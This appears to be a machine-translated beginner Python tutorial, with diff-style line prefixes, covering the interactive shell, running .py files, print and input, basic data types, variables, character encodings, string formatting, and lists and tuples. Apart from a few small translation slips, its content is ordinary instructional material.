+│ │
+│ │
+│ │
+└────────────────────────────────────────────────────────┘
+
+Type the command python
in command line mode, you will see a bunch of text output like the following, then you will enter Python interactive mode, its prompt is >>>
.
┌────────────────────────────────────────────────────────┐
+│Command Prompt - python - □ x │
+├────────────────────────────────────────────────────────┤
+│Microsoft Windows [Version 10.0.0] │
+│(c) 2015 Microsoft Corporation. All rights reserved. │
+│ │
+│C:\> python │
+│Python 3.7 ... on win32 │
+│Type "help", ... for more information. │
+│>>> _ │
+│ │
+│ │
+│ │
+│ │
+└────────────────────────────────────────────────────────┘
+
+By typing exit()
and entering in Python interactive mode, you exit Python interactive mode and return to command line mode:
┌────────────────────────────────────────────────────────┐
+│Command Prompt - □ x │
+├────────────────────────────────────────────────────────┤
+│Microsoft Windows [Version 10.0.0] │
+│(c) 2015 Microsoft Corporation. All rights reserved. │
+│ │
+│C:\> python │
+│Python 3.7 ... on win32 │
+│Type "help", ... for more information. │
+│>>> exit() │
+│ │
+│C:\> _ │
+│ │
+│ │
+└────────────────────────────────────────────────────────┘
+
+You can also select the Python (command line)
menu item directly from the Start menu to enter Python interactive mode directly, but the window will close directly after typing exit()
and will not return to command line mode.
Once we understand how to start and exit Python's interactive mode, we can officially start writing Python code.
+Before writing code, please never paste code from a page to your own computer using "copy"-"paste". In the process of writing code, beginners often make mistakes: incorrect spelling, incorrect capitalization, mixed use of English and Chinese punctuation, mixed use of spaces and tabs, so you need to check and cross-check carefully in order to master how to write programs as fast as possible.
+ +At the interactive mode prompt >>>
, type the code directly and press enter to get the code execution result immediately. Now, try typing 100+200
and see if the calculation results in 300.
>>> 100+200
+300
+
+Pretty simple, right? Any valid mathematical calculation will work out.
+To get Python to print out the specified text, use the print()
function and then enclose the text you wish to print in single or double quotes, but not a mix of single and double quotes:
>>> print('hello, world')
+hello, world
+
+This kind of text enclosed in single or double quotes is called a string in the program, and we will encounter it often in the future.
+Finally, exit Python with exit()
and our first Python program is done! The only downside is that it wasn't saved, so you'll have to type the code again the next time you run it.
Please note the distinction between command line mode and Python interactive mode.
+In command line mode, you can execute python
to enter the Python interactive environment, or you can execute python hello.py
to run a .py
file.
Executing a .py
file can only be executed in command line mode. If you hit the command python hello.py
and see the following error.
┌────────────────────────────────────────────────────────┐
+│Command Prompt _ □ x │
+├────────────────────────────────────────────────────────┤
+│Microsoft Windows [Version 10.0.0] │
+│(c) 2015 Microsoft Corporation. All rights reserved. │
+│ │
+│C:\> python hello.py │
+│python: can't open file 'hello.py': [Errno 2] No such │
+│file or directory │
+│ │
+│ │
+│ │
+│ │
+│ │
+└────────────────────────────────────────────────────────┘
+
+The error message No such file or directory
indicates that hello.py
is not found in the current directory, you must first switch the current directory to the directory where hello.py
is located in order to execute properly.
┌────────────────────────────────────────────────────────┐
+│Command Prompt _ □ x │
+├────────────────────────────────────────────────────────┤
+│Microsoft Windows [Version 10.0.0] │
+│(c) 2015 Microsoft Corporation. All rights reserved. │
+│ │
+│C:\> cd work │
+│ │
+│C:\work> python hello.py │
+│Hello, world! │
+│ │
+│ │
+│ │
+│ │
+└────────────────────────────────────────────────────────┘
+
+In addition, running a .py
file in command-line mode is different from running Python code directly in the Python interactive environment, which automatically prints out the result of each line of Python code, but running Python code directly does not.
For example, in the Python interactive environment, type.
+>>> 100 + 200 + 300
+600
+
+You can see the result 600
directly.
However, write a calc.py
file with the following content.
100 + 200 + 300
+
+Then, in command line mode, execute.
+C:\work>python calc.py
+
+Nothing output was found.
+This is normal. To output the result, you must print it out yourself with print()
. Transform calc.py
to.
print(100 + 200 + 300)
+
+Executing it again, you can see the result.
+C:\work>python calc.py
+600
+
+Finally, the Python interactive mode code is typed one line and executed one line, while the command line mode directly runs the .py
file to execute all the code in the file at once. As you can see, Python interactive mode is mainly for debugging Python code and for beginners to learn, it isn't an environment to run Python code officially!
If SyntaxError
is encountered, it means that there is a syntax error in the input Python code. The most common type of syntax error is the use of Chinese punctuation, such as the use of Chinese brackets (
and )
.
>>> print('hello')
+ File "<stdin>", line 1
+ print('hello')
+ ^
+SyntaxError: invalid character '(' (U+FF08)
+
+Or the Chinese quotation marks “
and ”
are used.
>>> print(“hello”)
+ File "<stdin>", line 1
+ print(“hello”)
+ ^
+SyntaxError: invalid character '“' (U+201C)
+
+When an error occurs, be sure to read the cause of the error. For the above SyntaxError
, the interpreter will explicitly state that the cause of the error is the unrecognized character "
: invalid character '"
.
In Python interactive mode, you can type code directly, then execute it and get the result immediately.
+In command line mode, you can run the .py
file directly.
The advantage of writing a program on Python's interactive command line is that you get the result in a single click, but the disadvantage is that you can't save it and you have to knock it again the next time you want to run it.
+So, in practice, we always use a text editor to write the code, and when we're done, we save it as a file so that the program can be run again and again.
+Now, let's take the last 'hello, world'
program and write it in a text editor and save it.
So here's the question: which is the best text editor?
+We recommend Visual Studio Code from Microsoft, it's not the big Visual Studio, it's a streamlined version of Mini Visual Studio, and, Visual Studio Code can be used across! Platforms! Windows, Mac, and Linux universally.
+Please note, do not use Word and Windows Notepad. Word saves not plain text files, and Notepad will smartly add a few special characters (UTF-8 BOM) at the beginning of the file, which will result in inexplicable errors in running the program.
+With the text editor installed, enter the following code.
+print('hello, world')
+
+Note that there should not be any spaces in front of print
. Then, select a directory, for example, C:\work
, save the file as hello.py
, and you can open a command line window, switch the current directory to the directory where hello.py
is located, and you can run the program as follows.
C:\work> python hello.py
+hello, world
+
+It can also be saved as another name, such as first.py
, but it must end with .py
, nothing else will work. In addition, the file name can only be a combination of letters, numbers, and underscores.
If there is no hello.py
file in the current directory, running python hello.py
will report the following error.
C:\Users\IEUser> python hello.py
+python: can't open file 'hello.py': [Errno 2] No such file or directory
+
+The error means that the file hello.py
cannot be opened because it does not exist. In this case, you have to check whether the file exists in the current directory. If hello.py
is stored in another directory, you should first switch to the current directory with the cd
command.
Using print()
with a string in parentheses, you can output the specified text to the screen. For example, outputting 'hello, world'
is implemented in code as follows.
>>> print('hello, world')
+
+The print()
function can also accept multiple strings, separated by a comma ",", which can be concatenated into one string of output.
>>> print('The quick brown fox', 'jumps over', 'the lazy dog')
+The quick brown fox jumps over the lazy dog
+
+print()
will print each string in turn, and will output a space when it encounters a comma ",", so that the output string is spelled out like this:
print()
can also print an integer, or the result of a calculation.
>>> print(300)
+300
+>>> print(100 + 200)
+300
+
+Therefore, we can print the result of calculating 100 + 200
a little more nicely as follows.
>>> print('100 + 200 =', 100 + 200)
+100 + 200 = 300
+
+Note that for 100 + 200
, the Python interpreter automatically calculates the result 300
, however, '100 + 200 ='
is a string and not a mathematical formula, Python treats it as a string, please interpret the above printout yourself.
Now, you can already output the result you want with print()
. But what if you want the user to enter some characters from the computer? Python provides an input()
that allows the user to enter a string and store it in a variable. For example, enter the user's name.
>>> name = input()
+Michael
+
+Once you type name = input()
and hit enter, the Python interactive command line is waiting for your input. At this point, you can type any character you want, then press enter and finish typing.
When you're done, there's no prompt, and the Python interactive command line goes back to >>>
. So where does the content we just typed go? The answer is that it is stored in the name
variable. You can see the contents of the variable by typing name
directly.
>>> name
+'Michael'
+
+What is a variable? Remind yourself of the basics of algebra learned in junior high school mathematics.
+Let the side length of a square be a
, then the area of the square is a x a
. Thinking of the side length a
as a variable, we can calculate the area of the square based on the value of a
, e.g.
If a = 2, the area is a x a = 2 x 2 = 4.
+If a = 3.5, then the area is a x a = 3.5 x 3.5 = 12.25.
+In computer programs, variables can be not only integers or floating point numbers, but also strings, so name
as a variable is a string.
To print out the contents of the name
variable, in addition to writing name
directly and pressing enter, the print()
function can be used.
>>> print(name)
+Michael
+
+With input and output, we can change the last program that printed hello, world'
to something that makes some sense:
name = input()
+print('hello,', name)
+
+Running the above program, the first line of code will ask the user to enter any character as his or her name, which will then be stored in the name
variable; the second line of code will say hello
to the user based on his or her name, for example, enter Michael
.
C:\Workspace> python hello.py
+Michael
+hello, Michael
+
+But the program runs without any prompt message telling the user: "Hey, hurry up and enter your name", which seems very unfriendly. Fortunately, input()
allows you to display a string to prompt the user, so we changed the code to:
name = input('please enter your name: ')
+print('hello,', name)
+
+Run the program again and you will find that as soon as the program runs, it will first print out please enter your name:
so that the user can follow the prompt and enter the name and get the output of hello, xxx
as follows:
C:\Workspace> python hello.py
+please enter your name: Michael
+hello, Michael
+
+Each time you run the program, the output will be different depending on the user input.
+At the command line, input and output are just that simple.
+Any computer program is designed to perform a specific task. With input, the user can tell the computer program the information it needs, and with output, the program runs and tells the user the result of the task.
+Input is Input and Output is Output, so we refer to input and output collectively as Input/Output, or abbreviated as IO.
+input()
and print()
are the most basic input and output from the command line, but users can also do input and output through other more advanced graphical interfaces, for example, typing your name in a text box on a web page, clicking "OK" and see the output on the web page.
++https://www.liaoxuefeng.com/wiki/1016959663602400/1017063413904832
+https://docs.python.org/3/tutorial/index.html
+
Python is a computer programming language. A computer programming language is different from the natural language we use every day. The biggest difference is that natural languages are understood differently in different contexts, and a computer must ensure that the program written in the programming language must not be ambiguous if it is to perform its tasks according to the programming language. Python is no exception.
+Python's syntax is relatively simple, indented, and written like the following.
+# print absolute value of an integer:
+a = 100
+if a >= 0:
+ print(a)
+else:
+ print(-a)
+
+Statements starting with #
are comments, which are for human eyes and can be anything, and are ignored by the interpreter. Every other line is a statement, and when the statement ends with a colon :
, the indented statement is considered a block of code.
Indentation has advantages and disadvantages. The advantage is that it forces you to write formatted code, but there is no rule about whether the indent is a few spaces or a tab. by convention, you should always stick to the 4-spaces indent.
+Another advantage of indentation is that it forces you to write less indented code, and you will tend to split a long piece of code into several functions to get less indented code.
+The downside of indentation is that the "copy-paste" feature is disabled, which is the worst part. When you refactor your code, the pasted code has to be rechecked for correct indentation. In addition, it's hard for the IDE to format Python code the way it formats Java code.
+Finally, be sure to note that Python programs are case-sensitive, and if you write the wrong case, the program will report an error.
+Python uses indentation to organize blocks of code, so be sure to follow the convention and stick to a 4-space indent.
+In the text editor, you need to set up the automatic conversion of tabs to 4 spaces to make sure you don't mix tabs and spaces.
+A computer is, as the name implies, a machine that can do mathematical calculations, so it is logical that computer programs can handle all kinds of numerical values. However, computers can handle much more than just numeric values. They can also handle text, graphics, audio, video, web pages, and a wide variety of other data, and different data requires different data types to be defined. In Python, the data types that can be handled directly are as follows.
+Python can handle integers of any size, including negative integers of course, represented in programs exactly as they are written in mathematics, for example: 1
, 100
, -8080
, 0
, and so on.
Since computers use binary, it is sometimes easier to represent integers in hexadecimal, which is represented by the 0x
prefix and 0-9, a-f, for example: 0xff00
, 0xa5b4c3d2
, and so on.
For very large numbers, such as 10000000000
, it is difficult to count the number of zeros. python allows numbers to be separated by _
, so writing 10_000_000_000
is exactly the same as 10000000000
. Hexadecimal numbers can also be written as 0xa1b2_c3d4
.
Floating point numbers, also known as decimals, are called floating point numbers because the position of the decimal point of a floating point number is variable when expressed in scientific notation, for example, 1.23x109 is exactly the same as 12.3x108. Floating point numbers can be written mathematically, such as 1.23
, 3.14
, -9.01
, and so on. But for very large or small floating point numbers, they must be expressed in scientific notation, replacing 10 with e. 1.23x109 is 1.23e9
, or 12.3e8
, 0.000012 can be written as 1.2e-5
, and so on.
Integers and floating point numbers are stored differently inside the computer, and integer operations are always exact (is division also exact? Yes!) ), while floating-point operations may have rounding errors.
+A string is any text enclosed in single quotes '
or double quotes "
, such as 'abc'
, 'xyz'
, etc. Note that ''
or ""
itself is just a representation, not part of a string, so the string 'abc'
has only the 3 characters a
, b
, c
. If '
itself is also a character, then it can be enclosed in ""
, for example, "I'm OK"
contains the 6 characters I
, '
, m
, space, O
, and K
.
What if the string contains both '
and "
inside? You can use the escape character \
to identify it, for example.
'I\'m \"OK\"!'
+
+The content of the string represented is:
+I'm "OK"!
+
+The escape character \
can escape many characters, such as \n
for line feeds, \t
for tabs, and the character \
itself should be escaped, so the character represented by \\
is \
. You can use print()
on Python's interactive command line to print the string to see.
>>> print('I\'m ok.')
+I'm ok.
+>>> print('I\'m learning\nPython.')
+I'm learning
+Python.
+>>> print('\\\n\\')
+\
+\
+
+If there are many characters inside the string that need to be escaped, you need to add a lot of \
. For simplicity, Python also allows r''
to indicate that the string inside ''
is not escaped by default, so you can try it yourself at
>>> print('\\\t\\')
+\ \
+>>> print(r'\\\t\\')
+\\\t\\
+
+If there are many newlines inside the string, it is not good to read them in one line with \n
. For simplicity, Python allows to use '''...'''
format to represent multiple lines of content, try it yourself:
>>> print('''line1
+... line2
+... line3''')
+line1
+line2
+line3
+
+The above is typed within the interactive command line, note that when typing multiple lines, the prompt changes from >>>
to ...
, prompting you to continue typing on the previous line, note that ...
is a prompt, not part of the code: `.
┌────────────────────────────────────────────────────────┐
+│Command Prompt - python _ □ x │
+├────────────────────────────────────────────────────────┤
+│>>> print('''line1 │
+│... line2 │
+│... line3''') │
+│line1 │
+│line2 │
+│line3 │
+│ │
+│>>> _ │
+│ │
+│ │
+│ │
+└────────────────────────────────────────────────────────┘
+
+When the terminator '''
and the brackets )
have been entered, the statement is executed and the result is printed.
If written as a program and saved as a .py
file, it would be.
print('''line1
+line2
+line3''')
+
+The multi-line string '''...'''
can also be used with r
in front, please test it yourself at:
# -*- coding: utf-8 -*-
+print(r'''hello,\n
+world''')
+
+Boolean values are identical to the representation of Boolean algebra. A Boolean value has only two values, True
, False
, either True
or False
. In Python, a Boolean value can be expressed directly as True
, False
(please note the case), or it can be calculated by Boolean operations as follows.
>>> True
+True
+>>> False
+False
+>>> 3 > 2
+True
+>>> 3 > 5
+False
+
+Boolean values can be operated on with and
, or
and not
.
The and
operation is a sum operation, and the result of the and
operation is True
only if all are True
.
>>> True and True
+True
+>>> True and False
+False
+>>> False and False
+False
+>>> 5 > 3 and 3 > 1
+True
+
+The or
operation is an or operation, and as long as one of them is True
, the result of the or
operation is True
.
>>> True or True
+True
+>>> True or False
+True
+>>> False or False
+False
+>>> 5 > 3 or 1 > 3
+True
+
+The not
operation is a non-operation; it is a monadic operator that turns True
into False
and False
into True
.
>>> not True
+False
+>>> not False
+True
+>>> not 1 > 2
+True
+
+Boolean values are often used in conditional judgments, e.g.
+if age >= 18:
+ print('adult')
+else:
+ print('teenager')
+
+A null value is a special value in Python, denoted by None
. None
cannot be interpreted as 0
, because 0
is meaningful, and None
is a special null value.
In addition, Python provides a variety of data types, such as lists and dictionaries, and also allows the creation of custom data types, which we will continue to talk about later.
+The concept of a variable is basically the same as the equation variable in middle school algebra, except that in computer programs, variables can be not only numbers, but also arbitrary data types.
+Variables are represented in the program by a variable name, which must be a combination of upper and lower case English, numbers, and _
, and cannot start with a number, for example.
a = 1
+
+The variable a
is an integer.
t_007 = 'T007'
+
+The variable t_007
is a string.
Answer = True
+
+The variable Answer
is a Boolean value True
.
In Python, the equal sign =
is an assignment statement that can assign any data type to a variable, the same variable can be assigned repeatedly, and it can be a different type of variable, for example.
# -*- coding: utf-8 -*-
+a = 123 # a is an integer
+print(a)
+a = 'ABC' # a becomes a string
+print(a)
+
+This type of language where the type of the variable itself is not fixed is called a dynamic language, and its counterpart is a static language. Static languages must specify the variable type when defining a variable, and will report an error if the type does not match when assigning a value. For example, Java is a static language, and the assignment statement is as follows (// indicates a comment)
+int a = 123; // a is an integer type variable
+a = "ABC"; // Error: You cannot assign a string to an integer variable
+
+Dynamic languages are more flexible compared to static languages for this reason.
+Please don't equate the equal sign of an assignment statement with the equal sign of mathematics. For example, the following code.
+x = 10
+x = x + 2
+
+If you understand x = x + 2
mathematically, that is not true anyway. In the program, the assignment statement first calculates the expression x + 2
on the right side, gets the result 12
, and then assigns it to the variable x
. Since the previous value of x
was 10
, after reassignment, the value of x
becomes 12
.
Finally, it is also important to understand how variables are represented in computer memory. When we write:
+a = 'ABC'
+
+Here the Python interpreter does two things.
+'ABC'
in memory.a
in memory and points it to 'ABC'
.It is also possible to assign a variable a
to another variable b
, an operation that actually points the variable b
to the data pointed to the variable a
, as in the following code.
# -*- coding: utf-8 -*-
+a = 'ABC'
+b = a
+a = 'XYZ'
+print(b)
+
+Is the last line printing out the contents of variable b
as 'ABC'
or as 'XYZ'
? If understood in a mathematical sense, one would incorrectly conclude that b
is the same as a
and should also be 'XYZ'
, but in fact, the value of b
is 'ABC'
, so let's execute the code line by line to see what is really happening.
Executing a = 'ABC'
, the interpreter creates the string 'ABC'
and the variable a
, and points a
to 'ABC'
.
Executing b = a
, the interpreter creates the variable b
and points b
to the string 'ABC'
pointed to by a
.
Executing a = 'XYZ'
, the interpreter creates the string XYZ' and changes the pointing of
ato
'XYZ', but
b` does not change.
So, the final result of printing the variable b
will naturally be 'ABC'
.
A constant is a variable that cannot be changed, for example, the common mathematical constant π is a constant. In Python, constants are usually represented by all-caps variable names.
+PI = 3.14159265359
+
+But the fact is that PI
is still a variable, and Python has no mechanism at all to ensure that PI
won't be changed, so using all-caps variable names for constants is just a customary usage, and if you must change the value of the variable PI
, no one can stop you.
Finally, an explanation of why division by integers is also exact. In Python, there are two kinds of division, one of which is /
.
>>> 10 / 3
+3.3333333333333335
+
+/
The result of the division calculation is a floating point number, even if two integers are exactly divisible, and the result is a floating point number.
>>> 9 / 3
+3.0
+
+Another type of division is //
, called floor division, where the division of two integers remains an integer:
>>> 10 // 3
+3
+
+You read that right, the floor of an integer divided by //
is always an integer, even if the division is not exhaustive. To do exact division, use /
and you're done.
Because //
division takes only the integer part of the result, Python also provides a remainder operation that gives you the remainder of the division of two integers by.
>>> 10 % 3
+1
+
+Whether an integer does //
division or takes a remainder, the result is always an integer, so the result of integer arithmetic is always exact.
Python supports a variety of data types, and within the computer, any data can be thought of as an "object", and variables are used in programs to point to these data objects.
+Assigning x = y
to a variable is to point the variable x
to the real object that the variable y
points to. Subsequent assignments to the variable y
do not affect the pointing of the variable x
.
Note: Python's integers have no size limit, while some languages have size limits for integers based on their storage length, for example, Java limits 32-bit integers to -2147483648
-2147483647
.
Python's floating point numbers also have no size limit, but beyond a certain range, they are directly represented as inf
(infinity).
As we have already talked about, strings are also a data type, but what is special about strings is that there is also an encoding problem.
+Because computers can only process numbers, if you want to process text, you must first convert the text to numbers before you can process it. The earliest computers were designed with 8 bits (bit) as a byte (byte), so the largest integer that a byte can represent is 255 (binary 1111111111 = decimal 255), and to represent larger integers, more bytes must be used. For example, the largest integer that can be represented by two bytes is 65535
and the largest integer that can be represented by four bytes is 4294967295
.
Since the computer was invented by the Americans, only 127 characters were first encoded into the computer, that is, upper and lower case English letters, numbers and some symbols, this code table is called ASCII
code, for example, the code for upper case letter A
is 65
and the code for lower case letter z
is 122
.
But to deal with Chinese, obviously, one byte is not enough, at least two bytes are needed, and it should not conflict with ASCII, so China has developed GB2312
encoding, which is used to encode Chinese.
As you can imagine, there are hundreds of languages in the world, Japan coded Japanese into Shift_JIS
, Korea coded Korean into Euc-kr
, and each country has its own standard, so there will be inevitable conflicts, and as a result, there will be garbled codes in the mixed text of multiple languages.
As a result, the Unicode character set was created. Unicode unifies all languages into one set of encodings so that there will be no more problems with garbled code.
+The Unicode standard has evolved, but the most commonly used is the UCS-16 encoding, which uses two bytes to represent a character (four bytes are needed if very remote characters are to be used). Unicode is directly supported by modern operating systems and most programming languages.
+Now, run through the differences between ASCII and Unicode encoding: ASCII encoding is 1 byte, while Unicode encoding is usually 2 bytes.
+The letter A
is 65
in decimal and 01000001
in binary with ASCII encoding.
The character 0
in ASCII encoding is 48
in decimal and 00110000
in binary, noting that the character '0'
is different from the integer 0
.
The Chinese character 中
is beyond the scope of ASCII encoding and is 20013
in decimal and 01001110 00101101
in binary using Unicode encoding.
You can guess that if you encode the ASCII-encoded A
in Unicode, you just need to make up the 0 in front of it, so the Unicode encoding of A
is 00000000 01000001
.
A new problem arises again: if you unify it into Unicode, the messy code problem disappears from now on. However, if all the text you write is basically in English, Unicode encoding requires twice as much storage space as ASCII encoding, which is very uneconomical in terms of storage and transmission.
+Therefore, in the spirit of saving, UTF-8
encoding, which converts Unicode encoding into variable-length encoding
, has emerged. Only very rare characters are encoded as 4-6 bytes. If the text you are transferring contains a large number of English characters, using UTF-8 encoding saves space.
Encoding | +ASCII | +Unicode | +UTF-8 | +
---|---|---|---|
A | +01000001 | +00000000 01000001 | +01000001 | +
中 | +x | +01001110 00101101 | +11100100 10111000 10101101 | +
From the table above, you can also find that UTF-8 encoding has the added benefit that ASCII encoding can actually be seen as part of UTF-8 encoding, so a large amount of legacy software that only supports ASCII encoding can continue to work under UTF-8 encoding.
+Having figured out the relationship between ASCII, Unicode and UTF-8, we can summarize the way character encoding works in common for computer systems nowadays.
+In the computer memory, Unicode encoding is used uniformly, and when it needs to be saved to the hard disk or needs to be transferred, it is converted to UTF-8 encoding.
+When editing with Notepad, UTF-8 characters read from a file are converted to Unicode characters in memory, and when editing is complete, Unicode is converted to UTF-8 and saved to the file when saving.
+ +When browsing the web, the server converts the dynamically generated Unicode content to UTF-8 before transferring it to the browser.
+ +So you see a lot of web pages with something like <meta charset="UTF-8" />
on the source code, indicating that the page is encoded exactly in UTF-8.
With the headache of character encoding out of the way, let's look at Python strings.
+In the latest version of Python 3, strings are encoded in Unicode, meaning that Python's strings support multiple languages, such as
+>>> print('包含中文的str')
+包含中文的str
+
+For the encoding of individual characters, Python provides the ord()
function to obtain an integer representation of the character, and the chr()
function to convert the encoding to the corresponding character:
>>> ord('A')
+65
+>>> ord('中')
+20013
+>>> chr(66)
+'B'
+>>> chr(25991)
+'文'
+
+If you know the integer encoding of the characters, you can also write str
in hexadecimal like this.
>>> '\u4e2d\u6587'
+'中文'
+
+The two ways of writing are exactly equivalent.
+Since Python's string type is str
, represented in memory as Unicode, a character corresponds to a number of bytes. If you want to transfer it over the network or save it to disk, you need to change str
to bytes
in bytes.
Python represents data of type bytes
in single or double quotes prefixed with b
as follows.
x = b'ABC'
+
+Be careful to distinguish between 'ABC'
, which is str
, and b'ABC'
, which occupies only one byte for each character of bytes
, although the content is displayed the same as the former.
The str
in Unicode can be encoded to the specified bytes
by the encode()
method, e.g.
>>> 'ABC'.encode('ascii')
+b'ABC'
+>>> '中文'.encode('utf-8')
+b'\xe4\xb8\xad\xe6\x96\x87'
+>>> '中文'.encode('ascii')
+Traceback (most recent call last):
+ File "<stdin>", line 1, in <module>
+UnicodeEncodeError: 'ascii' codec can't encode characters in position 0-1: ordinal not in range(128)
+
+Pure English str
can be encoded with ASCII
as bytes
, the content is the same, and str
containing Chinese can be encoded with UTF-8
as bytes
. The str
containing Chinese cannot be encoded with ASCII
because the Chinese encoding range exceeds the range of ASCII
encoding, Python will report an error.
In bytes
, bytes that cannot be displayed as ASCII characters are displayed with \x##
.
Conversely, if we read a stream of bytes from the network or from a disk, the data read is bytes
. To change bytes
to str
, the decode()
method is used.
>>> b'ABC'.decode('ascii')
+'ABC'
+>>> b'\xe4\xb8\xad\xe6\x96\x87'.decode('utf-8')
+'中文'
+
+If bytes
contains bytes that cannot be decoded, the decode()
method will report an error.
>>> b'\xe4\xb8\xad\xff'.decode('utf-8')
+Traceback (most recent call last):
+ ...
+UnicodeDecodeError: 'utf-8' codec can't decode byte 0xff in position 3: invalid start byte
+
+If there are only a small number of invalid bytes in bytes
, you can pass errors='ignore'
to ignore the erroneous bytes.
>>> b'\xe4\xb8\xad\xff'.decode('utf-8', errors='ignore')
+'中'
+
+To calculate how many characters str
contains, you can use the len()
function.
>>> len('ABC')
+3
+>>> len('中文')
+2
+
+The len()
function counts the number of characters in str
, if replaced with bytes
, the len()
function counts the number of bytes.
>>> len(b'ABC')
+3
+>>> len(b'\xe4\xb8\xad\xe6\x96\x87')
+6
+>>> len('中文'.encode('utf-8'))
+6
+
+As you can see, 1 Chinese character will usually occupy 3 bytes after UTF-8 encoding, while 1 English character will occupy only 1 byte.
+When manipulating strings, we often encounter the interconversion of str
and bytes
. To avoid garbling problems, you should always use UTF-8 encoding for str
and bytes
conversions.
Since Python source code is also a text file, when your source code contains Chinese, be sure to specify saving as UTF-8 when you save the source code. When the Python interpreter reads the source code, in order for it to read it in UTF-8, we usually write these two lines at the beginning of the file.
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+
+the first line comment is to tell the Linux/OS X system that this is a Python executable and that Windows systems will ignore the comment.
+The second comment line is to tell the Python interpreter to read the source code in UTF-8 encoding, otherwise, the Chinese output you write in the source code may be garbled.
+Asserting UTF-8 encoding does not mean that your .py
file is UTF-8 encoded; you must and do make sure that the text editor is using UTF-8 without BOM encoding.
If the .py
file itself uses UTF-8 encoding and also declares # -*- coding: utf-8 -*-
, opening a command prompt to test will display Chinese properly.
The last common problem is how to output a formatted string. We often output something like 'Hello dear xxx! Your phone bill for month xx is xx and your balance is xx'
and strings like that, and the contents of xxx are changing based on variables, so an easy way to format strings is needed.
In Python, the formatting used is the same as in C, implemented with %
, as an example.
>>> 'Hello, %s' % 'world'
+'Hello, world'
+>>> 'Hi, %s, you have $%d.' % ('Michael', 1000000)
+'Hi, Michael, you have $1000000.'
+
+As you may have guessed, the %
operator is used to format strings. Inside a string, %s
means replace with a string, %d
means replace with an integer, and there are several %?
placeholder, followed by several variables or values, the order should correspond well. If there is only one %?
, the parentheses can be omitted.
Common placeholders are.
+Placeholders | +Replacement Content | +
---|---|
%d | +Integer | +
%f | +Float | +
%s | +String | +
%x | +Hex Integer | +
Among other things, formatting integers and floating-point numbers also allows you to specify whether to complement zeros and the number of integer and fractional digits.
+# -*- coding: utf-8 -*-
+print('%2d-%02d' % (3, 1))
+print('%.2f' % 3.1415926)
+
+If you're not quite sure what to use, %s
always works, and it will convert any data type to a string: the
>>> 'Age: %s. Gender: %s' % (25, True)
+'Age: 25. Gender: True'
+
+There are times when the %
inside a string is a normal character. This time it is necessary to escape it and use %%
to represent a %
.
>>> 'growth rate: %d %%' % 7
+'growth rate: 7 %'
+
+Another way to format a string is to use the string's format()
method, which will replace the placeholders {0}
, {1}
...... within the string in order with the passed arguments, although this is much more cumbersome to write than %:.
>>> 'Hello, {0}, 成绩提升了 {1:.1f}%'.format('小明', 17.125)
+'Hello, 小明, 成绩提升了 17.1%'
+
+The last way to format strings is to use strings starting with f
, called f-string
, which differs from normal strings in that strings that contain {xxx}
are replaced with the corresponding variable:
>>> r = 2.5
+>>> s = 3.14 * r ** 2
+>>> print(f'The area of a circle with radius {r} is {s:.2f}')
+The area of a circle with radius 2.5 is 19.62
+
+In the above code, {r}
is replaced by the value of the variable r
, {s:.2f}
is replaced by the value of the variable s
, and the .2f
after :
specifies the formatting parameter (i.e., two decimal places are retained), so the result of the replacement of {s:.2f}
is 19.62
.
Python 3's strings use Unicode, which directly supports multiple languages.
+When str
and bytes
are converted to each other, the encoding needs to be specified. The most common encoding is UTF-8
, and Python certainly supports other encodings, such as encoding Unicode to GB2312
.
>>> '中文'.encode('gb2312')
+b'\xd6\xd0\xce\xc4'
+
+However, this approach is purely self-defeating. If you have no special business requirements, please keep in mind to use only UTF-8
encoding.
Formatting strings can be tested easily and quickly with Python's interactive environment.
+One of Python's built-in data types is a list, an ordered collection of elements that can be added and removed at any time.
+For example, listing the names of all the students in a class can be represented by a list.
+>>> classmates = ['Michael', 'Bob', 'Tracy']
+>>> classmates
+['Michael', 'Bob', 'Tracy']
+
+The variable classmates
is a list, and the number of elements in the list can be obtained using the len()
function.
>>> len(classmates)
+3
+
+Use the index to access the element at each position in the list, remembering that the index starts at 0
.
>>> classmates[0]
+'Michael'
+>>> classmates[1]
+'Bob'
+>>> classmates[2]
+'Tracy'
+>>> classmates[3]
+Traceback (most recent call last):
+ File "<stdin>", line 1, in <module>
+IndexError: list index out of range
+
+Python will report an IndexError
error when the index is out of range, so make sure the index doesn't go out of bounds, and remember that the index of the last element is len(classmates) - 1
.
To fetch the last element, in addition to calculating the index position, you can also use -1
for the index and fetch the last element directly at.
>>> classmates[-1]
+'Tracy'
+
+And so on, you can obtain the penultimate one, the penultimate one.
+>>> classmates[-2]
+'Bob'
+>>> classmates[-3]
+'Michael'
+>>> classmates[-4]
+Traceback (most recent call last):
+ File "<stdin>", line 1, in <module>
+IndexError: list index out of range
+
+Of course, the penultimate one is out of bounds.
+A list is a mutable ordered table, so it is possible to append elements to the end of a list.
+>>> classmates.append('Adam')
+>>> classmates
+['Michael', 'Bob', 'Tracy', 'Adam']
+
+It is also possible to insert an element into a specified position, such as the position with index number 1
.
>>> classmates.insert(1, 'Jack')
+>>> classmates
+['Michael', 'Jack', 'Bob', 'Tracy', 'Adam']
+
+To delete the element at the end of a list, use the pop()
method.
>>> classmates.pop()
+'Adam'
+>>> classmates
+['Michael', 'Jack', 'Bob', 'Tracy']
+
+To delete the element at the specified position, use the pop(i)
method, where i
is the index position.
>>> classmates.pop(1)
+'Jack'
+>>> classmates
+['Michael', 'Bob', 'Tracy']
+
+To replace an element with another element, you can directly assign it to the corresponding index position.
+>>> classmates[1] = 'Sarah'
+>>> classmates
+['Michael', 'Sarah', 'Tracy']
+
+The data types of the elements inside the list can also be different, e.g.
+>>> L = ['Apple', 123, True]
+
+A list element can also be another list, e.g.
+>>> s = ['python', 'java', ['asp', 'php'], 'scheme']
+>>> len(s)
+4
+
+Note that s
has only 4 elements, where s[2]
is again a list, which is easier to understand if you split it up.
>>> p = ['asp', 'php']
+>>> s = ['python', 'java', p, 'scheme']
+
+To get 'php'
you can write p[1]
or s[2][1]
, so s
can be seen as a two-dimensional array, similarly there are three-dimensional and four-dimensional ...... arrays, but they are rarely used.
If a list contains not a single element, it is an empty list, which has length 0.
+>>> L = []
+>>> len(L)
+0
+
+Another kind of ordered list is called a tuple: tuples. tuples are very similar to lists, but tuples cannot be modified once they are initialized, for example, they also list the names of classmates.
+>>> classmates = ('Michael', 'Bob', 'Tracy')
+
+Now, the tuples classmates cannot be changed, and it has no methods like append(), insert(). You can use classmates[0]
, classmates[-1]
as normal, but you cannot assign to another element.
What is the point of immutable tuples? Because tuples are immutable, the code is safer. If possible, try to use a tuple instead of a list.
